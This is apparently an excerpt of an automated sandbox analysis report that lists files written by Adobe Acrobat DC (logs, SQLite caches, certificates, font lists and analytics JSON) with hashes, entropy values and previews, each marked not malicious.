SHA-512:	F2CA3E37E2BEE703C63C12969F2AD41DA2F1A7904540143C2EC34E0AA1C816B7546A26854C028E9674A2465C693CB51B50E34D8AF3E895EB137C273394C0C8BF
Malicious:	false
Preview:	2025/01/10-13:43:53.755 1d0c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-13:43:53.776 1d0c Recovering log #3.2025/01/10-13:43:53.782 1d0c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.204764316192826
Encrypted:	false
SSDEEP:	6:iO41KDN9+q2PcNwi2nKuAl9OmbzNMxIFUtS1K1E2WZmws1KVH9VkwOcNwi2nKuAo:7n9+vLZHAa8jFUtKJ/39V54ZHAa84J
MD5:	19FA8CAC832AA9A8E6AF5E32A723802A
SHA1:	7F4970A7F6042C7CD65B1C7E6D7C165279ED5211
SHA-256:	3B406A7676CF6EBAC7D3336C7C2AF166B21F1CA2468805660351F648B43AF474
SHA-512:	F2CA3E37E2BEE703C63C12969F2AD41DA2F1A7904540143C2EC34E0AA1C816B7546A26854C028E9674A2465C693CB51B50E34D8AF3E895EB137C273394C0C8BF
Malicious:	false
Preview:	2025/01/10-13:43:53.755 1d0c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-13:43:53.776 1d0c Recovering log #3.2025/01/10-13:43:53.782 1d0c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 15, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 15
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.4386253132513875
Encrypted:	false
SSDEEP:	384:yeaci5GgiBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:1MurVgazUpUTTGt
MD5:	3B2543DEEB1A1516BCF80BD072117B02
SHA1:	4E81DDC226906B7726231135153AF8971843E7F8
SHA-256:	F3EBD1AE013FE25B5D1963F6524494ED9284EA8E5A71869E5C03911143C08372
SHA-512:	9A0EB9B2712C3D666CEA7E5C07292AD4D0C6F3CED90E11D50B4474839C6D080F6D9E65F1F1ED27B4A7BE0639AADAF0E2D19789D0C7E816A16C01B3F621D5CC90
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.7739716979503606
Encrypted:	false
SSDEEP:	48:7MHp/E2ioyVRioy3DoWoy1CABoy1BKOioy1noy1AYoy1Wioy1hioybioyBoy1noE:74pjuR0iAXXKQ4vb9IVXEBodRBkv
MD5:	1B4B8FF9F12977007E378D2CE91E727E
SHA1:	CD4C460C9830EDB43FCA39DFFDA69E1A9F2F469C
SHA-256:	CF37D9953007236350A9C168DA63C50B7B2D52F2742AECCA581F2C4DCC016E73
SHA-512:	4A657DFB583B502317A76761BBA69C8189DFFDD2978ABEECC4F9F37FD8951817E57B9CDBF2EFB1B8EBF5DED3C7E7C1C19C4A089C3072F497A06A19E8A0DBB53F
Malicious:	false
Preview:	.... .c.....~.{................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b...r...t...}.....L..............................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7360682398396405
Encrypted:	false
SSDEEP:	3:kkFklcfEGDtfllXlE/HT8krllXNNX8RolJuRdxLlGB9lQRYwpDdt:kKFfLeT8iVNMa8RdWBwRd
MD5:	5AEB3CACC36F302A36EA84DAFAF00FD2
SHA1:	DE2EAF3B0AF30D7D833619B0E486B9F93F7BC9AC
SHA-256:	9CF8F98EAFF254E1D6B6313ED6E633797B3483CD2F7D2561B85A934F7C205FE6
SHA-512:	9C6DF30621D5E6971E9247105692D8E830DBC216D4E25EE298FE07D526CA757BD4C256E98E62AB6E1754358CF2355BE2B670BDE45A8109775E813650F3D48AC5
Malicious:	false
Preview:	p...... ......../zY..c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.126984036468831
Encrypted:	false
SSDEEP:	6:kKPmyL9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:HBiDnLNkPlE99SNxAhUe/3
MD5:	0B459233664DF531DF32E4ED91F5E554
SHA1:	59486F17FEAB6AADCD5FA815EE0BFD75A5409E68
SHA-256:	A3D648D3601BE7AB304FFCB057122A442D95E3852B6FA1BE997D2B55B80D286A
SHA-512:	623AEDEB32EA29B9237C12DED8009AE452AD29BD096EA9AEDE57A3E8D9634E52410CEF7ABCD1DEF5EFD9C64EACD53163872A513F7E72800C5616A800F74CD9BA
Malicious:	false
Preview:	p...... ........j....c..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.6756

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.6756

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.365087965914042
Encrypted:	false
SSDEEP:	6:YEQXJ2HXc/NUJ4WsGiIPEeOF0YVoAvJM3g98kUwPeUkwRe9:YvXKXcOsdTeOqGMbLUkee9
MD5:	37ED87EEFF7C06D99F75BCC44C5EB0FF
SHA1:	D3CBB6527F35DAF8D2CC036BFD80B3DCA6ED0C5C
SHA-256:	2828453D3ABC58992BA5E4083C4DCA91397F5088029CA9AE73CC813C11C01972
SHA-512:	C30E7C8576C45A450E823F6CE278A15656F2FFD9A23C585E89A889507B01AA6AC7E0D9BF2D887FBDA85C12AF73587346CCEDC0E6D939A6C3296DCFC019B620D3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1644dff0-9930-44c4-83d0-60983fdf7f8a","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736713111993,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.30133188179298
Encrypted:	false
SSDEEP:	6:YEQXJ2HXc/NUJ4WsGiIPEeOF0YVoAvJfBoTfXpnrPeUkwRe9:YvXKXcOsdTeOqGWTfXcUkee9
MD5:	90C359272F8C4DC7B574214073E19FAE
SHA1:	CED499507A403C2F6586A0F45E39CCDC717BD342
SHA-256:	BD3D813BC87C1CB32D16C661C78579DBF409865F6F3971DC9C4ADB66259FA0A4
SHA-512:	C921AEE0CA825EAC8CECE7314327FA8C2A31114332E1C576CFD196535D51A44063097F389FE083FF5DA4E00B536A704065942D1B72281F9B81081E0AFBF82917
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1644dff0-9930-44c4-83d0-60983fdf7f8a","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736713111993,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.279731200661411
Encrypted:	false
SSDEEP:	6:YEQXJ2HXc/NUJ4WsGiIPEeOF0YVoAvJfBD2G6UpnrPeUkwRe9:YvXKXcOsdTeOqGR22cUkee9
MD5:	624517E58F9FA5483D96FFDB208BDF1D
SHA1:	9D8047ADE69C88A51AA30078D3A6821801D05F78
SHA-256:	7DDEB1CAC84EB32BF0990182DA7975C107B87694BA21EA4A18BABA164E89B921
SHA-512:	027FB5575E3082B88E297FEA293DA40ACB6D08B53F02BEB2C4B8614A45CFA56C8BFE949F64E3914092916FB8E95403EB60467EBED57A0006F1F733D893734B26
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1644dff0-9930-44c4-83d0-60983fdf7f8a","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736713111993,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.35202678063366
Encrypted:	false
SSDEEP:	6:YEQXJ2HXc/NUJ4WsGiIPEeOF0YVoAvJfPmwrPeUkwRe9:YvXKXcOsdTeOqGH56Ukee9
MD5:	77B4CB2927C7EF0EF42D0EB97209870E
SHA1:	887D3ED4BF03B52802F6545B4975A4C36C3DE021
SHA-256:	4CD001462ED2157F9FFC17BE2B9746A86D7EDC02DCB2DE10EFD7CC71D1A97A18
SHA-512:	787278A15BE211012B3899B1DD9C971F0B5678CC7A2A4CAC55CDB7BC6AA3DA810B7245BDDD438F31D90B9A0AD5116D02E6748C49BFC266B0E1920939019B6FBA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1644dff0-9930-44c4-83d0-60983fdf7f8a","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736713111993,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.6886870454253975
Encrypted:	false
SSDEEP:	24:Yv6X1meOnpLgE9cQx8LennAvzBvkn0RCmK8czOCCSpH:YvVeEhgy6SAFv5Ah8cv/x
MD5:	50AAE1F0AD0973A2D542C89C9A16D163
SHA1:	DD3CBA99FEF5B923035A5E61F1073C10A170BF5B
SHA-256:	CF2ADB32F19A8F84DCA22D9BB7F5322C1FC4FF53779A7BA9CA7847182AE5E6EF
SHA-512:	E59AE6BB64FEC6A6ED655977F5F3ABC8930C6C26599D4D2D207D7AEAB9D7A4DD926A1D8CDEE634DA7827697B96D129FD5C57FF1DD3A0725978B75D102E10C3CD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1644dff0-9930-44c4-83d0-60983fdf7f8a","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736713111993,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.289785233890647
Encrypted:	false
SSDEEP:	6:YEQXJ2HXc/NUJ4WsGiIPEeOF0YVoAvJf8dPeUkwRe9:YvXKXcOsdTeOqGU8Ukee9
MD5:	A8250907745B7B84BA7B3F68B6B14DEE
SHA1:	10A6E382AFDEDC4287D8C8F5CBD781F2F9CF07E1
SHA-256:	96754E9DE916392162EEF10D6C93E7256D218F1BF2D66117D954E6A58F1A49F1
